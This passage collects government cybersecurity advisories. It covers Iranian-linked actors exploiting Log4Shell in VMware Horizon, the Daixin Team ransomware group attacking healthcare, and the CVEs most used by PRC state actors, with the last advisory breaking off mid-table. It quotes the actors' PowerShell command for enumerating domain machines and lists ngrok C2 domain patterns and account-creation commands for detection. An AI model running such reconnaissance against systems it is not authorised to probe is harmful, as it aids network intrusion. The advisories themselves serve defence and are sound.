wildcarded here as *.ngrok[.]com, *.ngrok[.]io, ngrok.*.tunnel[.]com, or korgn.*.lennut[.]com. Once the threat actors established a deep foothold in the network and moved laterally to the domain controller, they executed the following PowerShell command on the Active Directory to obtain a list of all machines attached to the domain [T1018]: Powershell.exe get-adcomputer -filter * -properties * | select name,operatingsystem,ipv4address > The threat actors also changed the password for the local administrator account [T1098] on several hosts as a backup should the rogue domain administrator account get detected and terminated. Additionally, the threat actor was observed attempting to dump the Local Security Authority Subsystem Service (LSASS) process [T1003.001] with task manager but this was stopped by additional anti-virus the FCEB organization had installed. MITRE ATT&CK TACTICS AND TECHNIQUES See table 1 for all referenced threat actor tactics and techniques in this advisory, as well as corresponding detection and/or mitigation recommendations. For additional mitigations, see the Mitigations section. Table 1: Cyber Threat Actors ATT&CK Techniques for Enterprise Initial Access Technique Title ID Use Recommendations Exploit Public-Facing Application T1190 The actors exploited Log4Shell for initial access to the organization’s VMware Horizon server. Mitigation/Detection: Use a firewall or web-application firewall and enable logging to prevent and detect potential Log4Shell exploitation attempts [M1050]. Mitigation: Perform regular vulnerability scanning to detect Log4J vulnerabilities and update Log4J software using vendor provided patches [M1016],[M1051]. Execution Technique Title ID Use Recommendation Command and Scripting Interpreter: PowerShell T1059.001 The actors ran PowerShell commands that added an exclusion rule to Windows Defender. The actors executed PowerShell on the AD to obtain a list of machines on the domain. Mitigation: Disable or remove PowerShell for non-administrative users [M1042],[M1026] or enable code-signing to execute only signed scripts [M1045]. Mitigation: Employ anti-malware to automatically detect and quarantine malicious scripts [M1049]. Persistence Technique Title ID Use Recommendations Account Manipulation T1098 The actors changed the password for the local administrator account on several hosts. Mitigation: Use multifactor authentication for user and privileged accounts [M1032]. Detection: Monitor events for changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728, and 4670. Monitor for modification of accounts in correlation with other suspicious activity [DS0002]. Create Account: Local Account T1136.001 The actors’ malware can create local user accounts. Mitigation: Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts. Detection: Monitor executed commands and arguments for actions that are associated with local account creation, such as net user /add , useradd, and dscl -create [DS0017]. Detection: Enable logging for new user creation [DS0002]. Create Account: Domain Account T1136.002 The actors used Mimikatz to create a rogue domain administrator account. Mitigation: Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts. Detection: Enable logging for new user creation, especially domain administrator accounts [DS0002]. Scheduled Task/Job: Scheduled Task T1053.005 The actors’ exploit payload created Scheduled Task RuntimeBrokerService.exe, which executed RuntimeBroker.exe daily as SYSTEM. Mitigation: Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM [M1028]. Detection: Monitor for newly constructed processes and/or command-lines that execute from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows [DS0009] Detection: Monitor for newly constructed scheduled jobs by enabling the Microsoft-Windows-TaskScheduler/Operational setting within the event logging service [DS0003]. Valid Accounts: Default Accounts T1078.001 The actors used built-in Windows user account DefaultAccount. Mitigation: Change default usernames and passwords immediately after the installation and before deployment to a production environment [M1027]. Detection: Develop rules to monitor logon behavior across default accounts that have been activated or logged into [DS0028]. Defense Evasion Technique Title ID Use Recommendations Impair Defenses: Disable or Modify Tools             T1562.001 The actors added an exclusion rule to Windows Defender. The tool allowlisted the entire c:\drive, enabling the actors to bypass virus scans for tools they downloaded to the c:\drive. The actors manually disabled Windows Defender via the GUI. Mitigation: Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services. [M1018]. Detection: Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender [DS0024]. Detection: Monitor for telemetry that provides context for modification or deletion of information related to security software processes or services such as Windows Defender definition files in Windows and System log files in Linux [DS0013]. Detection: Monitor processes for unexpected termination related to security tools/services [DS0009]. Indicator Removal on Host: File Deletion T1070.004 The actors removed malicious file mde.ps1 from the dis. Detection: Monitor executed commands and arguments for actions that could be utilized to unlink, rename, or delete files [DS0017]. Detection: Monitor for unexpected deletion of files from the system [DS0022]. Credential Access Technique Title ID Use Recommendations OS Credential Dumping: LSASS Memory T1003.001 The actors were observed trying to dump LSASS process. Mitigation: With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping [M1043] Mitigation: On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing [M1040]. Mitigation: Ensure that local administrator accounts have complex, unique passwords across all systems on the network [M1027]. Detection: Monitor for unexpected processes interacting with LSASS.exe. Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. [DS0009]. Detection: Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the LSASS [DS0017]. Credentials from Password Stores T1555 The actors used Mimikatz to harvest credentials. Mitigation: Organizations may consider weighing the risk of storing credentials in password stores and web browsers. If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations [M1027]. Detection: Monitor for processes being accessed that may search for common password storage locations to obtain user credentials [DS0009]. Detection: Monitor executed commands and arguments that may search for common password storage locations to obtain user credentials [DS0017]. Discovery Technique Title ID Use Recommendations Remote System Discovery T1018 The actors executed a PowerShell command on the AD to obtain a list of all machines attached to the domain. Detection: Monitor executed commands and arguments that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement [DS0017]. Detection: Monitor for newly constructed network connections associated with pings/scans that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement [DS0029]. Detection: Monitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession [DS0009]. System Network Configuration Discovery: Internet Connection Discovery T1016.001 The actors’ malware tests for internet connectivity by pinging 8.8.8.8. Mitigation: Monitor executed commands, arguments [DS0017] and executed processes (e.g., tracert or ping) [DS0009] that may check for internet connectivity on compromised systems. Lateral Movement Technique Title ID Use Recommendations Remote Services: Remote Desktop Protocol T1021.001 The actors used RDP to move laterally to multiple hosts on the network. Mitigation: Use MFA for remote logins [M1032]. Mitigation: Disable the RDP service if it is unnecessary [M1042]. Mitigation: Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network [M1030]. Mitigation: Consider removing the local Administrators group from the list of groups allowed to log in through RDP [M1026]. Detection: Monitor for user accounts logged into systems associated with RDP (ex: Windows EID 4624 Logon Type 10). Other factors, such as access patterns (ex: multiple systems over a relatively short period of time) and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP [DS0028]. Command and Control Technique Title ID Use Recommendations Proxy T1090 The actors used Ngrok to proxy RDP connections and to perform command and control. Mitigation: Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network allow and block lists [M1037]. Detection: Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure) [DS0029]. Ingress Tool Transfer T1105 The actors downloaded malware and multiple tools to the network, including PsExec, Mimikatz, and Ngrok. Mitigation: Employ anti-malware to automatically detect and quarantine malicious scripts [M1049].     INCIDENT RESPONSE If suspected initial access or compromise is detected based on IOCs or TTPs in this CSA, CISA encourages organizations to assume lateral movement by threat actors and investigate connected systems and the DC. CISA recommends organizations apply the following steps before applying any mitigations, including patching. Immediately isolate affected systems. Collect and review relevant logs, data, and artifacts. Take a memory capture of the device(s) and a forensic image capture for detailed analysis. Consider soliciting support from a third-party incident response organization that can provide subject matter expertise to ensure the actor is eradicated from the network and to avoid residual issues that could enable follow-on exploitation. Report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870) or your local FBI field office, or FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov.   MitigationsCISA and FBI recommend implementing the mitigations below and in Table 1 to improve your organization's cybersecurity posture on the basis of threat actor behaviors. Install updated builds to ensure affected VMware Horizon and UAG systems are updated to the latest version. If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell in December 2021, treat those VMware Horizon systems as compromised. Follow the pro-active incident response procedures outlined above prior to applying updates. If no compromise is detected, apply these updates as soon as possible. See VMware Security Advisory VMSA-2021-0028.13 and VMware Knowledge Base (KB) 87073 to determine which VMware Horizon components are vulnerable. Note: Until the update is fully implemented, consider removing vulnerable components from the internet to limit the scope of traffic. While installing the updates, ensure network perimeter access controls are as restrictive as possible. If upgrading is not immediately feasible, see KB87073 and KB87092 for vendor-provided temporary workarounds. Implement temporary solutions using an account with administrative privileges. Note that these temporary solutions should not be treated as permanent fixes; vulnerable components should be upgraded to the latest build as soon as possible. Prior to implementing any temporary solution, ensure appropriate backups have been completed. Verify successful implementation of mitigations by executing the vendor supplied script Horizon_Windows_Log4j_Mitigations.zip without parameters to ensure that no vulnerabilities remain. See KB87073 for details. Keep all software up to date and prioritize patching known exploited vulnerabilities (KEVs). Minimize the internet-facing attack surface by hosting essential services on a segregated DMZ, ensuring strict network perimeter access controls, and not hosting internet-facing services that are not essential to business operations. Where possible, implement regularly updated web application firewalls (WAF) in front of public-facing services. WAFs can protect against web-based exploitation using signatures and heuristics that are likely to block or alert on malicious traffic. Use best practices for identity and access management (IAM) by implementing phishing resistant multifactor authentication (MFA), enforcing use of strong passwords, regularly auditing administrator accounts and permissions, and limiting user access through the principle of least privilege. Disable inactive accounts uniformly across the AD, MFA systems, etc. If using Windows 10 version 1607 or Windows Server 2016 or later, monitor or disable Windows DefaultAccount, also known as the Default System Managed Account (DSMA). Audit domain controllers to log successful Kerberos Ticket Granting Service (TGS) requests and ensure the events are monitored for anomalous activity.   Secure accounts. Enforce the principle of least privilege. Administrator accounts should have the minimum permission necessary to complete their tasks. Ensure there are unique and distinct administrative accounts for each set of administrative tasks. Create non-privileged accounts for privileged users and ensure they use the non-privileged accounts for all non-privileged access (e.g., web browsing, email access). Create a deny list of known compromised credentials and prevent users from using known-compromised passwords. Secure credentials by restricting where accounts and credentials can be used and by using local device credential protection features.  Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored. Ensure storage of clear text passwords in LSASS memory is disabled. Note: For Windows 8, this is enabled by default. For more information see Microsoft Security Advisory Update to Improve Credentials Protection and Management. Consider disabling or limiting NTLM and WDigest Authentication. Implement Credential Guard for Windows 10 and Server 2016 (refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA). Minimize the AD attack surface to reduce malicious ticket-granting activity. Malicious activity such as “Kerberoasting” takes advantage of Kerberos’ TGS and can be used to obtain hashed credentials that threat actors attempt to crack.   VALIDATE SECURITY CONTROLS In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. To get started: Select an ATT&CK technique described in this advisory (see table 1). Align your security technologies against the technique. Test your technologies against the technique. Analyze your detection and prevention technologies performance. Repeat the process for all security technologies to obtain a set of comprehensive performance data. Tune your security program, including people, processes, and technologies, based on the data generated by this process. CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. References [1] MITRE ATT&CK Version 11: Software – Ngrok Revisions Initial Version: November 16, 2022 This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-294A: #StopRansomware: Daixin Team
    by CISA on 21 Ottobre 2022 at 2:29 pm

    Original release date: October 21, 2022 | Last revised: October 26, 2022SummaryActions to take today to mitigate cyber threats from ransomware: • Install updates for operating systems, software, and firmware as soon as they are released. • Require phishing-resistant MFA for as many services as possible. • Train users to recognize and report phishing attempts. Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources. The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Department of Health and Human Services (HHS) are releasing this joint CSA to provide information on the “Daixin Team,” a cybercrime group that is actively targeting U.S. businesses, predominantly in the Healthcare and Public Health (HPH) Sector, with ransomware and data extortion operations. This joint CSA provides TTPs and IOCs of Daixin actors obtained from FBI threat response activities and third-party reporting. Download the PDF version of this report: pdf, 591 KB Download the IOCs: .stix 23.2 kb Technical DetailsNote: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques. Cybercrime actors routinely target HPH Sector organizations with ransomware: As of October 2022, per FBI Internet Crime Complaint Center (IC3) data, specifically victim reports across all 16 critical infrastructure sectors, the HPH Sector accounts for 25 percent of ransomware complaints. According to an IC3 annual report in 2021, 649 ransomware reports were made across 14 critical infrastructure sectors; the HPH Sector accounted for the most reports at 148. The Daixin Team is a ransomware and data extortion group that has targeted the HPH Sector with ransomware and data extortion operations since at least June 2022. Since then, Daixin Team cybercrime actors have caused ransomware incidents at multiple HPH Sector organizations where they have: Deployed ransomware to encrypt servers responsible for healthcare services—including electronic health records services, diagnostics services, imaging services, and intranet services, and/or Exfiltrated personal identifiable information (PII) and patient health information (PHI) and threatened to release the information if a ransom is not paid. Daixin actors gain initial access to victims through virtual private network (VPN) servers. In one confirmed compromise, the actors likely exploited an unpatched vulnerability in the organization’s VPN server [T1190]. In another confirmed compromise, the actors used previously compromised credentials to access a legacy VPN server [T1078] that did not have multifactor authentication (MFA) enabled. The actors are believed to have acquired the VPN credentials through the use of a phishing email with a malicious attachment [T1598.002]. After obtaining access to the victim’s VPN server, Daixin actors move laterally via Secure Shell (SSH) [T1563.001] and Remote Desktop Protocol (RDP) [T1563.002]. Daixin actors have sought to gain privileged account access through credential dumping [T1003] and pass the hash [T1550.002]. The actors have leveraged privileged accounts to gain access to VMware vCenter Server and reset account passwords [T1098] for ESXi servers in the environment. The actors have then used SSH to connect to accessible ESXi servers and deploy ransomware [T1486] on those servers.  According to third-party reporting, the Daixin Team’s ransomware is based on leaked Babuk Locker source code. This third-party reporting as well as FBI analysis show that the ransomware targets ESXi servers and encrypts files located in /vmfs/volumes/ with the following extensions: .vmdk, .vmem, .vswp, .vmsd, .vmx, and .vmsn. A ransom note is also written to /vmfs/volumes/. See Figure 1 for targeted file system path and Figure 2 for targeted file extensions list. Figure 3 and Figure 4 include examples of ransom notes. Note that in the Figure 3 ransom note, Daixin actors misspell “Daixin” as “Daxin.” Figure 1: Daixin Team – Ransomware Targeted File Path Figure 2: Daixin Team – Ransomware Targeted File Extensions Figure 3: Example 1 of Daixin Team Ransomware Note Figure 4: Example 2 of Daixin Team Ransomware Note In addition to deploying ransomware, Daixin actors have exfiltrated data [TA0010] from victim systems. In one confirmed compromise, the actors used Rclone—an open-source program to manage files on cloud storage—to exfiltrate data to a dedicated virtual private server (VPS). In another compromise, the actors used Ngrok—a reverse proxy tool for proxying an internal service out onto an Ngrok domain—for data exfiltration [T1567]. MITRE ATT&CK TACTICS AND TECHNIQUES See Table 1 for all referenced threat actor tactics and techniques included in this advisory. Table 1: Daixin Actors’ ATT&CK Techniques for Enterprise Reconnaissance Technique Title ID Use Phishing for Information: Spearphishing Attachment T1598.002 Daixin actors have acquired the VPN credentials (later used for initial access) by a phishing email with a malicious attachment. Initial Access Technique Title ID Use Exploit Public-Facing Application T1190 Daixin actors exploited an unpatched vulnerability in a VPN server to gain initial access to a network. Valid Accounts T1078 Daixin actors use previously compromised credentials to access servers on the target network. Persistence Technique Title ID Use Account Manipulation T1098 Daixin actors have leveraged privileged accounts to reset account passwords for VMware ESXi servers in the compromised environment. Credential Access Technique Title ID Use OS Credential Dumping T1003 Daixin actors have sought to gain privileged account access through credential dumping. Lateral Movement Technique Title ID Use Remote Service Session Hijacking: SSH Hijacking T1563.001 Daixin actors use SSH and RDP to move laterally across a network. Remote Service Session Hijacking: RDP Hijacking T1563.002 Daixin actors use RDP to move laterally across a network. Use Alternate Authentication Material: Pass the Hash T1550.002 Daixin actors have sought to gain privileged account access through pass the hash. Exfiltration Technique Title ID Use Exfiltration Over Web Service T1567 Daixin Team members have used Ngrok for data exfiltration over web servers. Impact Technique Title ID Use Data Encrypted for Impact T1486 Daixin actors have encrypted data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. INDICATORS OF COMPROMISE See Table 2 for IOCs obtained from third-party reporting. Table 2: Daixin Team IOCs – Rclone Associated SHA256 Hashes File SHA256 rclone-v1.59.2-windows-amd64\git-log.txt 9E42E07073E03BDEA4CD978D9E7B44A9574972818593306BE1F3DCFDEE722238 rclone-v1.59.2-windows-amd64\rclone.1 19ED36F063221E161D740651E6578D50E0D3CACEE89D27A6EBED4AB4272585BD rclone-v1.59.2-windows-amd64\rclone.exe 54E3B5A2521A84741DC15810E6FED9D739EB8083CB1FE097CB98B345AF24E939 rclone-v1.59.2-windows-amd64\README.html EC16E2DE3A55772F5DFAC8BF8F5A365600FAD40A244A574CBAB987515AA40CBF rclone-v1.59.2-windows-amd64\README.txt 475D6E80CF4EF70926A65DF5551F59E35B71A0E92F0FE4DD28559A9DEBA60C28 MitigationsFBI, CISA, and HHS urge HPH Sector organizations to implement the following to protect against Daixin and related malicious activity: Install updates for operating systems, software, and firmware as soon as they are released. Prioritize patching VPN servers, remote access software, virtual machine software, and known exploited vulnerabilities. Consider leveraging a centralized patch management system to automate and expedite the process. Require phishing-resistant MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups. If you use Remote Desktop Protocol (RDP), secure and monitor it. Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources, and require multifactor authentication (MFA) to mitigate credential theft and reuse. If RDP must be available externally, use a virtual private network (VPN), virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports. Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for business purposes (e.g., RDP Transmission Control Protocol Port 3389). Turn off SSH and other network device management interfaces such as Telnet, Winbox, and HTTP for wide area networks (WANs) and secure with strong passwords and encryption when enabled. Implement and enforce multi-layer network segmentation with the most critical communications and data resting on the most secure and reliable layer. Limit access to data by deploying public key infrastructure and digital certificates to authenticate connections with the network, Internet of Things (IoT) medical devices, and the electronic health record system, as well as to ensure data packages are not manipulated while in transit from man-in-the-middle attacks. Use standard user accounts on internal systems instead of administrative accounts, which allow for overarching administrative system privileges and do not ensure least privilege. Secure PII/PHI at collection points and encrypt the data at rest and in transit by using technologies such as Transport Layer Security (TPS). Only store personal patient data on internal systems that are protected by firewalls, and ensure extensive backups are available if data is ever compromised. Protect stored data by masking the permanent account number (PAN) when it is displayed and rendering it unreadable when it is stored—through cryptography, for example. Secure the collection, storage, and processing practices for PII and PHI, per regulations such as the Health Insurance Portability and Accountability Act of 1996 (HIPAA). Implementing HIPAA security measures can prevent the introduction of malware on the system. Use monitoring tools to observe whether IoT devices are behaving erratically due to a compromise. Create and regularly review internal policies that regulate the collection, storage, access, and monitoring of PII/PHI. In addition, the FBI, CISA, and HHS urge all organizations, including HPH Sector organizations, to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents. Preparing for Ransomware Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware incident and protect against data losses. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response procedures for a ransomware incident. Organizations should also ensure their incident response and communications plans include response and notification procedures for data breach incidents. Ensure the notification procedures adhere to applicable state laws. Refer to applicable state data breach laws and consult legal counsel when necessary. For breaches involving electronic health information, you may need to notify the Federal Trade Commission (FTC) or the Department of Health and Human Services, and—in some cases—the media. Refer to the FTC’s Health Breach Notification Rule and U.S. Department of Health and Human Services’ Breach Notification Rule for more information. See CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide and CISA Fact Sheet, Protecting Sensitive and Personal Information from Ransomware-Caused Data Breaches, for information on creating a ransomware response checklist and planning and responding to ransomware-caused data breaches. Mitigating and Preventing Ransomware Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations. Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity. Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs. Open document readers in protected viewing modes to help prevent active content from running. Implement user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails. Use strong passwords and avoid reusing passwords for multiple accounts. See CISA Tip Choosing and Protecting Passwords and the National Institute of Standards and Technology’s (NIST’s) Special Publication 800-63B: Digital Identity Guidelines for more information. Require administrator credentials to install software. Audit user accounts with administrative or elevated privileges and configure access controls with least privilege in mind. Install and regularly update antivirus and antimalware software on all hosts. Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN. Consider adding an email banner to messages coming from outside your organizations. Disable hyperlinks in received emails. Responding to Ransomware Incidents If a ransomware incident occurs at your organization: Follow your organization’s Ransomware Response Checklist (see Preparing for Ransomware section). Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise. Follow the notification requirements as outlined in your cyber incident response plan. Report incidents to the FBI at a local FBI Field Office, CISA at cisa.gov/report, or the U.S. Secret Service (USSS) at a USSS Field Office. Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. Note: FBI, CISA, and HHS strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. REFERENCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment. Ongoing Threat Alerts and Sector alerts are produced by the Health Sector Cybersecurity Coordination Center (HC3) and can be found at hhs.gov/HC3 For additional best practices for Healthcare cybersecurity issues see the HHS 405(d) Aligning Health Care Industry Security Approaches at 405d.hhs.gov  REPORTING The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Daixin Group actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. Regardless of whether you or your organization have decided to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to a local FBI Field Office, or CISA at cisa.gov/report. ACKNOWLEDGEMENTS FBI, CISA, and HHS would like to thank CrowdStrike and the Health Information Sharing and Analysis Center (Health-ISAC) for their contributions to this CSA. DISCLAIMER The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS. Revisions Initial Publication: October 21, 2022 This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-279A: Top CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors
    by CISA on 6 Ottobre 2022 at 5:08 pm

    Original release date: October 6, 2022SummaryThis joint Cybersecurity Advisory (CSA) provides the top Common Vulnerabilities and Exposures (CVEs) used since 2020 by People’s Republic of China (PRC) state-sponsored cyber actors as assessed by the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI). PRC state-sponsored cyber actors continue to exploit known vulnerabilities to actively target U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks. This joint CSA builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs). NSA, CISA, and FBI urge U.S. and allied governments, critical infrastructure, and private sector organizations to apply the recommendations listed in the Mitigations section and Appendix A to increase their defensive posture and reduce the threat of compromise from PRC state-sponsored malicious cyber actors. For more information on PRC state-sponsored malicious cyber activity, see CISA’s China Cyber Threat Overview and Advisories webpage, FBI’s Industry Alerts, and NSA’s Cybersecurity Advisories & Guidance.  Download the PDF version of this report: pdf, 409 KB Technical DetailsNSA, CISA, and FBI continue to assess PRC state-sponsored cyber activities as being one of the largest and most dynamic threats to U.S. government and civilian networks. PRC state-sponsored cyber actors continue to target government and critical infrastructure networks with an increasing array of new and adaptive techniques—some of which pose a significant risk to Information Technology Sector organizations (including telecommunications providers), Defense Industrial Base (DIB) Sector organizations, and other critical infrastructure organizations. PRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target networks of interest. NSA, CISA, and FBI assess PRC state-sponsored cyber actors have actively targeted U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks. See Table 1 for the top used CVEs. Table I: Top CVEs most used by Chinese state-sponsored cyber actors since 2020 Vendor CVE Vulnerability Type Apache Log4j CVE-2021-44228 Remote Code Execution Pulse Connect Secure CVE-2019-11510 Arbitrary File Read GitLab CE/EE CVE-2021-22205 Remote Code Execution Atlassian CVE-2022-26134 Remote Code Execution Microsoft Exchange CVE-2021-26855 Remote Code Execution F5 Big-IP CVE-2020-5902 Remote Code Execution VMware vCenter Server CVE-2021-22005 Arbitrary File Upload Citrix ADC CVE-2019-19781 Path Traversal Cisco Hyperflex CVE-2021-1497 Command Line Execution Buffalo WSR CVE-2021-20090 Relative Path Traversal Atlassian Confluence Server and Data Center CVE-2021-26084 Remote Code Execution Hikvision Webserver CVE-2021-36260 Command Injection Sitecore XP CVE-2021-42237 Remote Code Execution F5 Big-IP CVE-2022-1388 Remote Code Execution Apache CVE-2022-24112 Authentication Bypass by Spoofing ZOHO CVE-2021-40539 Remote Code Execution Microsoft CVE-2021-26857 Remote Code Execution Microsoft CVE-2021-26858 Remote Code Execution Microsoft CVE-2021-27065 Remote Code Execution Apache HTTP Server CVE-2021-41773 Path Traversal These state-sponsored actors continue to use virtual private networks (VPNs) to obfuscate their activities and target web-facing applications to establish initial access. Many of the CVEs indicated in Table 1 allow the actors to surreptitiously gain unauthorized access into sensitive networks, after which they seek to establish persistence and move laterally to other internally connected networks. For additional information on PRC state-sponsored cyber actors targeting network devices, please see People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices. MitigationsNSA, CISA, and FBI urge organizations to apply the recommendations below and those listed in Appendix A. Update and patch systems as soon as possible. Prioritize patching vulnerabilities identified in this CSA and other known exploited vulnerabilities. Utilize phishing-resistant multi-factor authentication whenever possible. Require all accounts with password logins to have strong, unique passwords, and change passwords immediately if there are indications that a password may have been compromised.  Block obsolete or unused protocols at the network edge.  Upgrade or replace end-of-life devices. Move toward the Zero Trust security model.  Enable robust logging of Internet-facing systems and monitor the logs for anomalous activity.   Appendix A Table II: Apache CVE-2021-44228 Apache CVE-2021-44228 CVSS 3.0: 10 (Critical) Vulnerability Description Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against malicious actor controlled LDAP and other JNDI related endpoints. A malicious actor who can control log messages or log message parameters could execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects. Recommended Mitigations Apply patches provided by vendor and perform required system updates. Detection Methods See vendor’s Guidance For Preventing, Detecting, and Hunting for Exploitation of the Log4j 2 Vulnerability. Vulnerable Technologies and Versions There are numerous vulnerable technologies and versions associated with CVE-2021-44228. For a full list, check https://nvd.nist.gov/vuln/detail/CVE-2021-44228. Table III: Pulse CVE-2019-11510 Pulse CVE-2019-11510 CVSS 3.0: 10 (Critical) Vulnerability Description This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote malicious actor could send a specially crafted URI to perform an arbitrary file reading vulnerability. Recommended Mitigations Apply patches provided by vendor and perform required system updates. Detection Methods Use CISA’s “Check Your Pulse” Tool. Vulnerable Technologies and Versions Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 Table IV: GitLab CVE-2021-22205 GitLab CVE-2021-22205 CVSS 3.0: 10 (Critical) Vulnerability Description An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files passed to a file parser, which resulted in a remote command execution. Recommended Mitigations Update to 12.10.3, 13.9.6, and 13.8.8 for GitLab. Hotpatch is available via GitLab. Detection Methods Investigate logfiles. Check GitLab Workhorse. Vulnerable Technologies and Versions Gitlab CE/EE. Table V: Atlassian CVE-2022-26134 Atlassian CVE-2022-26134 CVSS 3.0: 9.8 